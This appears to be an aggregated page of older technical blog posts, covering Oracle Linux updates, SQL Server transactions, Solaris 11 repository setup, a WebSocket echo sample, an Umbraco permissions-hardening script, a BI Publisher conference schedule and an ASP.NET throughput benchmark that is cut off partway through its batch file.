Resolution Dependencies Resolved ===================================================================================== Package Arch Version Repository Size ===================================================================================== Installing: kernel x86_64 2.6.32-220.7.1.el6 ol6_latest 24 M kernel-uek x86_64 2.6.32-300.11.1.el6uek ol6_latest 21 M kernel-uek-devel x86_64 2.6.32-300.11.1.el6uek ol6_latest 6.3 M Updating: at x86_64 3.1.10-43.el6_2.1 ol6_latest 60 k autofs x86_64 1:5.0.5-39.el6_2.1 ol6_latest 470 k bind-libs x86_64 32:9.7.3-8.P3.el6_2.2 ol6_latest 839 k bind-utils x86_64 32:9.7.3-8.P3.el6_2.2 ol6_latest 178 k cvs x86_64 1.11.23-11.el6_2.1 ol6_latest 711 k [...] xulrunner x86_64 10.0.3-1.0.1.el6_2 ol6_latest 12 M yelp x86_64 2.28.1-13.el6_2 ol6_latest 778 k yum noarch 3.2.29-22.0.2.el6_2.2 ol6_latest 987 k yum-plugin-security noarch 1.1.30-10.0.1.el6 ol6_latest 36 k yum-utils noarch 1.1.30-10.0.1.el6 ol6_latest 94 k Transaction Summary ===================================================================================== Install 3 Package(s) Upgrade 96 Package(s) Total download size: 173 M Is this ok [y/N]: y Downloading Packages: (1/99): at-3.1.10-43.el6_2.1.x86_64.rpm | 60 kB 00:00 (2/99): autofs-5.0.5-39.el6_2.1.x86_64.rpm | 470 kB 00:01 (3/99): bind-libs-9.7.3-8.P3.el6_2.2.x86_64.rpm | 839 kB 00:02 (4/99): bind-utils-9.7.3-8.P3.el6_2.2.x86_64.rpm | 178 kB 00:00 [...] (96/99): yelp-2.28.1-13.el6_2.x86_64.rpm | 778 kB 00:02 (97/99): yum-3.2.29-22.0.2.el6_2.2.noarch.rpm | 987 kB 00:03 (98/99): yum-plugin-security-1.1.30-10.0.1.el6.noarch.rpm | 36 kB 00:00 (99/99): yum-utils-1.1.30-10.0.1.el6.noarch.rpm | 94 kB 00:00 ------------------------------------------------------------------------------------- Total 306 kB/s | 173 MB 09:38 warning: rpmts_HdrFromFdno: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY Retrieving key from http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6 Importing GPG key 0xEC551F03: Userid: "Oracle OSS group (Open Source Software group) " From : http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6 Is this ok [y/N]: y Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running Transaction Updating : yum-3.2.29-22.0.2.el6_2.2.noarch 1/195 Updating : xorg-x11-server-common-1.10.4-6.el6_2.3.x86_64 2/195 Updating : kernel-uek-headers-2.6.32-300.11.1.el6uek.x86_64 3/195 Updating : 12:dhcp-common-4.1.1-25.P1.el6_2.1.x86_64 4/195 Updating : tzdata-java-2011n-2.el6.noarch 5/195 Updating : tzdata-2011n-2.el6.noarch 6/195 Updating : glibc-common-2.12-1.47.el6_2.9.x86_64 7/195 Updating : glibc-2.12-1.47.el6_2.9.x86_64 8/195 [...] Cleanup : kernel-firmware-2.6.32-220.el6.noarch 191/195 Cleanup : kernel-uek-firmware-2.6.32-300.3.1.el6uek.noarch 192/195 Cleanup : glibc-common-2.12-1.47.el6.x86_64 193/195 Cleanup : glibc-2.12-1.47.el6.x86_64 194/195 Cleanup : tzdata-2011l-4.el6.noarch 195/195 Installed: kernel.x86_64 0:2.6.32-220.7.1.el6 kernel-uek.x86_64 0:2.6.32-300.11.1.el6uek kernel-uek-devel.x86_64 0:2.6.32-300.11.1.el6uek Updated: at.x86_64 0:3.1.10-43.el6_2.1 autofs.x86_64 1:5.0.5-39.el6_2.1 bind-libs.x86_64 32:9.7.3-8.P3.el6_2.2 bind-utils.x86_64 32:9.7.3-8.P3.el6_2.2 cvs.x86_64 0:1.11.23-11.el6_2.1 dhclient.x86_64 12:4.1.1-25.P1.el6_2.1 [...] xorg-x11-server-common.x86_64 0:1.10.4-6.el6_2.3 xulrunner.x86_64 0:10.0.3-1.0.1.el6_2 yelp.x86_64 0:2.28.1-13.el6_2 yum.noarch 0:3.2.29-22.0.2.el6_2.2 yum-plugin-security.noarch 0:1.1.30-10.0.1.el6 yum-utils.noarch 0:1.1.30-10.0.1.el6 Complete! At this point, your system is fully up to date. As the kernel was updated as well, a reboot is the recommended next action. If you want to install the latest release of the Unbreakable Enterprise Kernel Release 2 as well, you need to edit the .repo file and enable the respective yum repository (e.g. "ol6_UEK_latest" for Oracle Linux 6 and "ol5_UEK_latest" for Oracle Linux 5) manually, by setting enabled to "1". The next yum update run will download and install the second release of the Unbreakable Enterprise Kernel, which will be enabled after the next reboot. -Lenz

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• SQL SERVER – Stored Procedure and Transactions

  - by pinaldave

  I just overheard the following statement – “I do not use Transactions in SQL as I use Stored Procedure“. I just realized that there are so many misconceptions about this subject. Transactions has nothing to do with Stored Procedures. Let me demonstrate that with a simple example. USE tempdb GO -- Create 3 Test Tables CREATE TABLE TABLE1 (ID INT); CREATE TABLE TABLE2 (ID INT); CREATE TABLE TABLE3 (ID INT); GO -- Create SP CREATE PROCEDURE TestSP AS INSERT INTO TABLE1 (ID) VALUES (1) INSERT INTO TABLE2 (ID) VALUES ('a') INSERT INTO TABLE3 (ID) VALUES (3) GO -- Execute SP -- SP will error out EXEC TestSP GO -- Check the Values in Table SELECT * FROM TABLE1; SELECT * FROM TABLE2; SELECT * FROM TABLE3; GO Now, the main point is: If Stored Procedure is transactional then, it should roll back complete transactions when it encounters any errors. Well, that does not happen in this case, which proves that Stored Procedure does not only provide just the transactional feature to a batch of T-SQL. Let’s see the result very quickly. It is very clear that there were entries in table1 which are not shown in the subsequent tables. If SP was transactional in terms of T-SQL Query Batches, there would be no entries in any of the tables. If you want to use Transactions with Stored Procedure, wrap the code around with BEGIN TRAN and COMMIT TRAN. The example is as following. CREATE PROCEDURE TestSPTran AS BEGIN TRAN INSERT INTO TABLE1 (ID) VALUES (11) INSERT INTO TABLE2 (ID) VALUES ('b') INSERT INTO TABLE3 (ID) VALUES (33) COMMIT GO -- Execute SP EXEC TestSPTran GO -- Check the Values in Tables SELECT * FROM TABLE1; SELECT * FROM TABLE2; SELECT * FROM TABLE3; GO -- Clean up DROP TABLE Table1 DROP TABLE Table2 DROP TABLE Table3 GO In this case, there will be no entries in any part of the table. What is your opinion about this blog post? Please leave your comments about it here. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Stored Procedure, SQL Tips and Tricks, T SQL, Technology

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• Ops Center Solaris 11 IPS Repository Management: Using ISO Images

  - by S Stelting

  Please join us for a live WebEx presentation of this topic on Tuesday, November 20th at 9am MDT. Details for the call are provided below: https://oracleconferencing.webex.com/oracleconferencing/j.php?ED=209834017&UID=1512096072&PW=NYTVlZTYxMzdm&RT=MiMxMQ%3D%3D Meeting password: oracle123 Call-in toll-free number: 1-866-682-4770 International numbers: http://www.intercall.com/oracle/access_numbers.htm Conference Code: 762 9343 # Security Code: 7777 # With Enterprise Manager Ops Center 12c, you can provision, patch, monitor and manage Oracle Solaris 11 instances. To do this, Ops Center creates and maintains a Solaris 11 Image Packaging System (IPS) repository on the Enterprise Controller. During the Enterprise Controller configuration, you can load repository content directly from Oracle's Support Web site and subsequently synchronize the repository as new content becomes available. Of course, you can also use Solaris 11 ISO images to create and update your Ops Center repository. There are a few excellent reasons for doing this: You're running Ops Center in disconnected mode, and don't have Internet access on your Enterprise Controller You'd rather avoid the bandwidth associated with live synchronization of a Solaris 11 package repository This demo will show you how to use Solaris 11 ISO images to set up and update your Ops Center repository. Prerequisites This tip assumes that you've already installed the Enterprise Controller on a Solaris 11 OS instance and that you're ready for post-install configuration. In addition, there are specific Ops Center and OS version requirements depending on which version of Solaris 11 you plan to install.You can get full details about the requirements in the Release Notes for Ops Center 12c update 2. Additional information is available in the Ops Center update 2 Readme document. Part 1: Using a Solaris 11 ISO Image to Create an Ops Center Repository Step 1 – Download the Solaris 11 Repository Image The Oracle Web site provides a number of download links for official Solaris 11 images. Among those links is a two-part downloadable repository image, which provides repository content for Solaris 11 SPARC and X86 architectures. In this case, I used the Solaris 11 11/11 image. First, navigate to the Oracle Web site and accept the OTN License agreement: http://www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html Next, download both parts of the Solaris 11 repository image. I recommend using the Solaris 11 11/11 image, and have provided the URLs here: http://download.oracle.com/otn/solaris/11/sol-11-1111-repo-full.iso-ahttp://download.oracle.com/otn/solaris/11/sol-11-1111-repo-full.iso-b Finally, use the cat command to generate an ISO image you can use to create your repository: # cat sol-11-1111-repo-full.iso-a sol-11-1111-repo-full.iso-b > sol-11-1111-repo-full.iso The process is very similar if you plan to set up a Solaris 11.1 release in Ops Center. In that case, navigate to the Solaris 11 download page, accept the license agreement and download both parts of the Solaris 11.1 repository image. Use the cat command to create a single ISO image for Solaris 11.1 Step 2 – Mount the Solaris 11 ISO Image in your Local Filesystem Once you have created the Solaris 11 ISO file, use the mount command to attach it to your local filesystem. After the image has been mounted, you can browse the repository from the ./repo subdirectory, and use the pkgrepo command to verify that Solaris 11 recognizes the content: Step 3 – Use the Image to Create your Ops Center Repository When you have confirmed the repository is available, you can use the image to create the Enterprise Controller repository. The operation will be slightly different depending on whether you configure Ops Center for Connected or Disconnected Mode operation.For connected mode operation, specify the mounted ./repo directory in step 4.1 of the configuration wizard, replacing the default Web-based URL. Since you're synchronizing from an OS repository image, you don't need to specify a key or certificate for the operation. For disconnected mode configuration, specify the Solaris 11 directory along with the path to the disconnected mode bundle downloaded by running the Ops Center harvester script: Ops Center will run a job to import package content from the mounted ISO image. A synchronization job can take several hours to run – in my case, the job ran for 3 hours, 22 minutes on a SunFire X4200 M2 server. During the job, Ops Center performs three important tasks: Synchronizes all content from the image and refreshes the repository Updates the IPS publisher information Creates OS Provisioning profiles and policies based on the content When the job is complete, you can unmount the ISO image from your Enterprise Controller. At that time, you can view the repository contents in your Ops Center Solaris 11 library. For the Solaris 11 11/11 release, you should see 8,668 packages and patches in the contents. You should also see default deployment plans for Solaris 11 provisioning. As part of the repository import, Ops Center generates plans and profiles for desktop, small and large servers for the SPARC and X86 architecture. Part 2: Using a Solaris 11 SRU to update an Ops Center Repository It's possible to use the same approach to upgrade your Ops Center repository to a Solaris 11 Support Repository Update, or SRU. Each SRU provides packages and updates to Solaris 11 - for example, SRU 8.5 provided the packaged for Oracle VM Server for SPARC 2.2 SRUs are available for download as ISO images from My Oracle Support, under document ID 1372094.1. The document provides download links for all SRUs which have been released by Oracle for Solaris 11. SRUs are cumulative, so later versions include the packages from earlier SRUs. After downloading an ISO image for an SRU, you can mount it to your local filesystem using a mount command similar to the one shown for Solaris 11 11/11. When the ISO image is mounted to the file system, you can perform the Add Content action from the Solaris 11 Library to synchronize packages and patches from the mounted image. I used the same mount point, so the repository URL was file://mnt/repo once again: After the synchronization of an SRU is complete, you can verify its content in the Solaris 11 library using the search function. The version pattern is 0.175.0.#, where the # is the same value as the SRU. In this example, I upgraded to SRU 1. The update job ran in just under 8 minutes, and a quick search shows that 22 software components were added to the repository: It's also possible to search for "Support Repository Update" to confirm the SRU was successfully added to the repository. Details on any of the update content are available by clicking the "View Details" button under the Packages/Patches entry.

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• WebSocket and Java EE 7 - Getting Ready for JSR 356 (TOTD #181)

  - by arungupta

  WebSocket is developed as part of HTML 5 specification and provides a bi-directional, full-duplex communication channel over a single TCP socket. It provides dramatic improvement over the traditional approaches of Polling, Long-Polling, and Streaming for two-way communication. There is no latency from establishing new TCP connections for each HTTP message. There is a WebSocket API and the WebSocket Protocol. The Protocol defines "handshake" and "framing". The handshake defines how a normal HTTP connection can be upgraded to a WebSocket connection. The framing defines wire format of the message. The design philosophy is to keep the framing minimum to avoid the overhead. Both text and binary data can be sent using the API. WebSocket may look like a competing technology to Server-Sent Events (SSE), but they are not. Here are the key differences: WebSocket can send and receive data from a client. A typical example of WebSocket is a two-player game or a chat application. Server-Sent Events can only push data data to the client. A typical example of SSE is stock ticker or news feed. With SSE, XMLHttpRequest can be used to send data to the server. For server-only updates, WebSockets has an extra overhead and programming can be unecessarily complex. SSE provides a simple and easy-to-use model that is much better suited. SSEs are sent over traditional HTTP and so no modification is required on the server-side. WebSocket require servers that understand the protocol. SSE have several features that are missing from WebSocket such as automatic reconnection, event IDs, and the ability to send arbitrary events. The client automatically tries to reconnect if the connection is closed. The default wait before trying to reconnect is 3 seconds and can be configured by including "retry: XXXX\n" header where XXXX is the milliseconds to wait before trying to reconnect. Event stream can include a unique event identifier. This allows the server to determine which events need to be fired to each client in case the connection is dropped in between. The data can span multiple lines and can be of any text format as long as EventSource message handler can process it. WebSockets provide true real-time updates, SSE can be configured to provide close to real-time by setting appropriate timeouts. OK, so all excited about WebSocket ? Want to convert your POJOs into WebSockets endpoint ? websocket-sdk and GlassFish 4.0 is here to help! The complete source code shown in this project can be downloaded here. On the server-side, the WebSocket SDK converts a POJO into a WebSocket endpoint using simple annotations. Here is how a WebSocket endpoint will look like: @WebSocket(path="/echo")public class EchoBean { @WebSocketMessage public String echo(String message) { return message + " (from your server)"; }} In this code "@WebSocket" is a class-level annotation that declares a POJO to accept WebSocket messages. The path at which the messages are accepted is specified in this annotation. "@WebSocketMessage" indicates the Java method that is invoked when the endpoint receives a message. This method implementation echoes the received message concatenated with an additional string. The client-side HTML page looks like <div style="text-align: center;"> <form action=""> <input onclick="send_echo()" value="Press me" type="button"> <input id="textID" name="message" value="Hello WebSocket!" type="text"><br> </form></div><div id="output"></div> WebSocket allows a full-duplex communication. So the client, a browser in this case, can send a message to a server, a WebSocket endpoint in this case. And the server can send a message to the client at the same time. This is unlike HTTP which follows a "request" followed by a "response". In this code, the "send_echo" method in the JavaScript is invoked on the button click. There is also a <div> placeholder to display the response from the WebSocket endpoint. The JavaScript looks like: <script language="javascript" type="text/javascript"> var wsUri = "ws://localhost:8080/websockets/echo"; var websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; function init() { output = document.getElementById("output"); } function send_echo() { websocket.send(textID.value); writeToScreen("SENT: " + textID.value); } function onOpen(evt) { writeToScreen("CONNECTED"); } function onMessage(evt) { writeToScreen("RECEIVED: " + evt.data); } function onError(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false);</script> In this code The URI to connect to on the server side is of the format ws://<HOST>:<PORT>/websockets/<PATH> "ws" is a new URI scheme introduced by the WebSocket protocol. <PATH> is the path on the endpoint where the WebSocket messages are accepted. In our case, it is ws://localhost:8080/websockets/echo WEBSOCKET_SDK-1 will ensure that context root is included in the URI as well. WebSocket is created as a global object so that the connection is created only once. This object establishes a connection with the given host, port and the path at which the endpoint is listening. The WebSocket API defines several callbacks that can be registered on specific events. The "onopen", "onmessage", and "onerror" callbacks are registered in this case. The callbacks print a message on the browser indicating which one is called and additionally also prints the data sent/received. On the button click, the WebSocket object is used to transmit text data to the endpoint. Binary data can be sent as one blob or using buffering. The HTTP request headers sent for the WebSocket call are: GET ws://localhost:8080/websockets/echo HTTP/1.1Origin: http://localhost:8080Connection: UpgradeSec-WebSocket-Extensions: x-webkit-deflate-frameHost: localhost:8080Sec-WebSocket-Key: mDbnYkAUi0b5Rnal9/cMvQ==Upgrade: websocketSec-WebSocket-Version: 13 And the response headers received are Connection:UpgradeSec-WebSocket-Accept:q4nmgFl/lEtU2ocyKZ64dtQvx10=Upgrade:websocket(Challenge Response):00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 The headers are shown in Chrome as shown below: The complete source code shown in this project can be downloaded here. The builds from websocket-sdk are integrated in GlassFish 4.0 builds. Would you like to live on the bleeding edge ? Then follow the instructions below to check out the workspace and install the latest SDK: Check out the source code svn checkout https://svn.java.net/svn/websocket-sdk~source-code-repository Build and install the trunk in your local repository as: mvn install Copy "./bundles/websocket-osgi/target/websocket-osgi-0.3-SNAPSHOT.jar" to "glassfish3/glassfish/modules/websocket-osgi.jar" in your GlassFish 4 latest promoted build. Notice, you need to overwrite the JAR file. Anybody interested in building a cool application using WebSocket and get it running on GlassFish ? :-) This work will also feed into JSR 356 - Java API for WebSocket. On a lighter side, there seems to be less agreement on the name. Here are some of the options that are prevalent: WebSocket (W3C API, the URL is www.w3.org/TR/websockets though) Web Socket (HTML5 Demos - html5demos.com/web-socket) Websocket (Jenkins Plugin - wiki.jenkins-ci.org/display/JENKINS/Websocket%2BPlugin) WebSockets (Used by Mozilla - developer.mozilla.org/en/WebSockets, but use WebSocket as well) Web sockets (HTML5 Working Group - www.whatwg.org/specs/web-apps/current-work/multipage/network.html) Web Sockets (Chrome Blog - blog.chromium.org/2009/12/web-sockets-now-available-in-google.html) I prefer "WebSocket" as that seems to be most common usage and used by the W3C API as well. What do you use ?

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• Umbraco Permissions Script - Secure Version

  - by Vizioz Limited

  Back in May I blogged about how to set Permissions for Umbraco using SetACL to set the appropriate directory permissions based on the installation recommendations.Recently I have been working on a site for a client who wanted every security item to be locked down as tightly as possible. And so I modified the script based on the Umbraco security best practices, I thought I'd share it with everyone, if I have missed anything, or if anyone has any suggestions on how to improve this, please let me know :)Please refer to my previous post regarding the SetAcl command line application that you will need.I suggest you save the following into a batch file called: umbPermSecure.batecho offREM Script to setup the Security Permissions for an Umbraco siteREM This script will give your machine Network Service the minimum rights requiredREM for Umbraco to workREM I suggest you update this script to also remove any users who do not need REM access to the web foldersREM **** Pre-requisites ****REM You will need to download - http://setacl.sourceforge.net/REM It is assumed that you have stored SetACL in a directory called, C:\SetACL ifREM not, you will need to modify the script.REM **** Usage ****REM You need to pass in the path for the root of your Umbraco directoryREM E.g. umbPermSecure.bat C:\inetpub\umbracoroot@echo umbPermSecure.bat - Script to set Umbraco File and Directory Permissions@echo based on the Umbraco Security Best Practices Document (13th March 2009)@echo Published by Chris Houston - 19th October 2009@echo http://blog.vizioz.com@echo Adding READ only access SetACL.exe -on "%1" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\web.config" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\bin" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\umbraco" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"@echo Adding READ and EXECUTE access SetACL.exe -on "%1\app_code" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read_ex" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\usercontrols" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read_ex" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"@echo Adding READ, WRITE and MODIFY access SetACL.exe -on "%1\config" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\css" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\data" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\masterpages" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\media" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\python" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\scripts" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"SetACL.exe -on "%1\xslt" -ot file -actn ace -ace "n:%computername%\NETWORK SERVICE;p:read" -ace "n:%computername%\NETWORK SERVICE;p:change" -actn clear -clr "dacl,sacl" -log "c:\setacl\log.txt"

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• BI Publisher at Collaborate 2010

  - by mike.donohue

  Noelle and I are heading to Collaborate 2010 next week. There are over two dozen sessions on BI Publisher including a Hands On Lab (see below). Very excited to see what our customers and partners will be presenting and how they are using BI Publisher to get better reports and reduce costs. My only regret is that many sessions are scheduled at the same time so I won't get to see all of them. Noelle and I will be presenting the following: Monday, April 19 2:30 pm - 3:30 pm Introduction to Oracle Business Intelligence Publisher Session: 227 Location: Reef F By: Mike 2:30 pm - 3:30 pm The Reporting Platform for Applications: Oracle Business Intelligence Publisher Session: 73170 Location: South Seas Ballroom J By: Noelle 3:45 pm - 4:45 pm Oracle Business Intelligence Publisher Hands On Lab (1) Session: 217 Location: Palm D By: Noelle and Mike Tuesday, April 20 8:00 am - 9:00 am Oracle Business Intelligence Publisher Best Practices Session: 218 Location: Palm D By: Noelle and Mike We will also be at the BI Technology demo pod in the exhibt hall so please stop by and say hello. All BI Publisher related Sessions Sunday, April 18 2:00 pm - 2:50 pm Customizing your Invoices in a Flash! 3:00 pm - 3:50 pm BI Publisher SIG Meeting - Part 1 4:00 pm - 4:50 pm BI Publisher SIG Meeting - Part 2 Monday, April 19 8:00 am - 9:00 am XML Publisher and FSG for Beginners 2:30 pm - 3:30 pm Introduction to Oracle Business Intelligence Publisher 2:30 pm - 3:30 pm The Reporting Platform for Applications: Oracle Business Intelligence Publisher 2:30 pm - 3:30 pm Bay Ballroom A What it Takes to Make Your Business Intelligence Implementation a Success 2:30 pm - 3:30 pm XML Publisher-More Than Just Form Letters 3:45 pm - 4:45 pm JD Edwards EnterpriseOne Reporting and Batch Discussions presented by Technology SIG 3:45 pm - 4:45 pm Hands On Lab: Oracle Business Intelligence Publisher (1) Tuesday, April 20 8:00 am - 9:00 am Oracle Business Intelligence Publisher Best Practices 8:00 am - 9:00 am Creating XML Publisher Documents with PeopleCode 10:30 am - 11:30 am Moving to BI Publisher, Now What? Automated Fax and Email from Oracle EBS 2:00 pm - 3:00 pm Smart Reporting in Oracle Financials Release 12.1 2:00 pm - 3:00 pm Custom Check Printing Framework using XML Publisher 2:00 pm - 3:00 pm BI Publisher and Oracle BI for JD Edwards Wednesday, April 21 8:00 am - 9:00 am XML Publisher Tips for PeopleTools 10:30 am - 11:30 am JD Edwards World - Technical Upgrade Considerations 10:30 am - 11:30 am Data Visualization Best Practices: Know how to design and improve your BI & EPM reports, dashboards, and queries 10:30 am - 11:30 am Oracle BIEE End-to-End 1:00 pm - 2:00 pm Empower JD Edwards Users with Oracle BI Publisher for Ad Hoc Reporting 1:00 pm - 2:00 pm BIP and JD Edwards World - Good Stuff! 2:15 pm - 3:15 pm Proven Strategies for Increasing ROI with PeopleSoft HCM 4:00 pm - 5:00 pm Using Oracle BI Delivers to Send Reports to JD Edwards Users Thursday, April 22 9:45 am - 10:45 am PeopleSoft Recruiting Enhancements You Can Use 9:45 am - 10:45 am Reducing Cost with Oracle's BI Publisher Note (1) the Hands On Lab was not showing in the joint scheduler as of this posting but, it is definitely ON.

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• ASP.NET Frameworks and Raw Throughput Performance

  - by Rick Strahl

  A few days ago I had a curious thought: With all these different technologies that the ASP.NET stack has to offer, what's the most efficient technology overall to return data for a server request? When I started this it was mere curiosity rather than a real practical need or result. Different tools are used for different problems and so performance differences are to be expected. But still I was curious to see how the various technologies performed relative to each just for raw throughput of the request getting to the endpoint and back out to the client with as little processing in the actual endpoint logic as possible (aka Hello World!). I want to clarify that this is merely an informal test for my own curiosity and I'm sharing the results and process here because I thought it was interesting. It's been a long while since I've done any sort of perf testing on ASP.NET, mainly because I've not had extremely heavy load requirements and because overall ASP.NET performs very well even for fairly high loads so that often it's not that critical to test load performance. This post is not meant to make a point  or even come to a conclusion which tech is better, but just to act as a reference to help understand some of the differences in perf and give a starting point to play around with this yourself. I've included the code for this simple project, so you can play with it and maybe add a few additional tests for different things if you like. Source Code on GitHub I looked at this data for these technologies: ASP.NET Web API ASP.NET MVC WebForms ASP.NET WebPages ASMX AJAX Services  (couldn't get AJAX/JSON to run on IIS8 ) WCF Rest Raw ASP.NET HttpHandlers It's quite a mixed bag, of course and the technologies target different types of development. What started out as mere curiosity turned into a bit of a head scratcher as the results were sometimes surprising. What I describe here is more to satisfy my curiosity more than anything and I thought it interesting enough to discuss on the blog :-) First test: Raw Throughput The first thing I did is test raw throughput for the various technologies. This is the least practical test of course since you're unlikely to ever create the equivalent of a 'Hello World' request in a real life application. The idea here is to measure how much time a 'NOP' request takes to return data to the client. So for this request I create the simplest Hello World request that I could come up for each tech. Http Handler The first is the lowest level approach which is an HTTP handler. public class Handler : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; context.Response.Write("Hello World. Time is: " + DateTime.Now.ToString()); } public bool IsReusable { get { return true; } } } WebForms Next I added a couple of ASPX pages - one using CodeBehind and one using only a markup page. The CodeBehind page simple does this in CodeBehind without any markup in the ASPX page: public partial class HelloWorld_CodeBehind : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { Response.Write("Hello World. Time is: " + DateTime.Now.ToString() ); Response.End(); } } while the Markup page only contains some static output via an expression:<%@ Page Language="C#" AutoEventWireup="false" CodeBehind="HelloWorld_Markup.aspx.cs" Inherits="AspNetFrameworksPerformance.HelloWorld_Markup" %> Hello World. Time is <%= DateTime.Now %> ASP.NET WebPages WebPages is the freestanding Razor implementation of ASP.NET. Here's the simple HelloWorld.cshtml page:Hello World @DateTime.Now WCF REST WCF REST was the token REST implementation for ASP.NET before WebAPI and the inbetween step from ASP.NET AJAX. I'd like to forget that this technology was ever considered for production use, but I'll include it here. Here's an OperationContract class: [ServiceContract(Namespace = "")] [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)] public class WcfService { [OperationContract] [WebGet] public Stream HelloWorld() { var data = Encoding.Unicode.GetBytes("Hello World" + DateTime.Now.ToString()); var ms = new MemoryStream(data); // Add your operation implementation here return ms; } } WCF REST can return arbitrary results by returning a Stream object and a content type. The code above turns the string result into a stream and returns that back to the client. ASP.NET AJAX (ASMX Services) I also wanted to test ASP.NET AJAX services because prior to WebAPI this is probably still the most widely used AJAX technology for the ASP.NET stack today. Unfortunately I was completely unable to get this running on my Windows 8 machine. Visual Studio 2012  removed adding of ASP.NET AJAX services, and when I tried to manually add the service and configure the script handler references it simply did not work - I always got a SOAP response for GET and POST operations. No matter what I tried I always ended up getting XML results even when explicitly adding the ScriptHandler. So, I didn't test this (but the code is there - you might be able to test this on a Windows 7 box). ASP.NET MVC Next up is probably the most popular ASP.NET technology at the moment: MVC. Here's the small controller: public class MvcPerformanceController : Controller { public ActionResult Index() { return View(); } public ActionResult HelloWorldCode() { return new ContentResult() { Content = "Hello World. Time is: " + DateTime.Now.ToString() }; } } ASP.NET WebAPI Next up is WebAPI which looks kind of similar to MVC. Except here I have to use a StringContent result to return the response: public class WebApiPerformanceController : ApiController { [HttpGet] public HttpResponseMessage HelloWorldCode() { return new HttpResponseMessage() { Content = new StringContent("Hello World. Time is: " + DateTime.Now.ToString(), Encoding.UTF8, "text/plain") }; } } Testing Take a minute to think about each of the technologies… and take a guess which you think is most efficient in raw throughput. The fastest should be pretty obvious, but the others - maybe not so much. The testing I did is pretty informal since it was mainly to satisfy my curiosity - here's how I did this: I used Apache Bench (ab.exe) from a full Apache HTTP installation to run and log the test results of hitting the server. ab.exe is a small executable that lets you hit a URL repeatedly and provides counter information about the number of requests, requests per second etc. ab.exe and the batch file are located in the \LoadTests folder of the project. An ab.exe command line  looks like this: ab.exe -n100000 -c20 http://localhost/aspnetperf/api/HelloWorld which hits the specified URL 100,000 times with a load factor of 20 concurrent requests. This results in output like this:   It's a great way to get a quick and dirty performance summary. Run it a few times to make sure there's not a large amount of varience. You might also want to do an IISRESET to clear the Web Server. Just make sure you do a short test run to warm up the server first - otherwise your first run is likely to be skewed downwards. ab.exe also allows you to specify headers and provide POST data and many other things if you want to get a little more fancy. Here all tests are GET requests to keep it simple. I ran each test: 100,000 iterations Load factor of 20 concurrent connections IISReset before starting A short warm up run for API and MVC to make sure startup cost is mitigated Here is the batch file I used for the test: IISRESET REM make sure you add REM C:\Program Files (x86)\Apache Software Foundation\Apache2.2\bin REM to your path so ab.exe can be found REM Warm up ab.exe -n100 -c20 http://localhost/aspnetperf/MvcPerformance/HelloWorldJsonab.exe -n100 -c20 http://localhost/aspnetperf/api/HelloWorldJson ab.exe -n100 -c20 http://localhost/AspNetPerf/WcfService.svc/HelloWorld ab.exe -n100000 -c20 http://localhost/aspnetperf/handler.ashx > handler.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/HelloWorld_CodeBehind.aspx > AspxCodeBehind.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/HelloWorld_Markup.aspx > AspxMarkup.txt ab.exe -n100000 -c20 http://localhost/AspNetPerf/WcfService.svc/HelloWorld > Wcf.txt ab.exe -n100000 -c20 http://localhost/aspnetperf/MvcPerformance/HelloWorldCode > 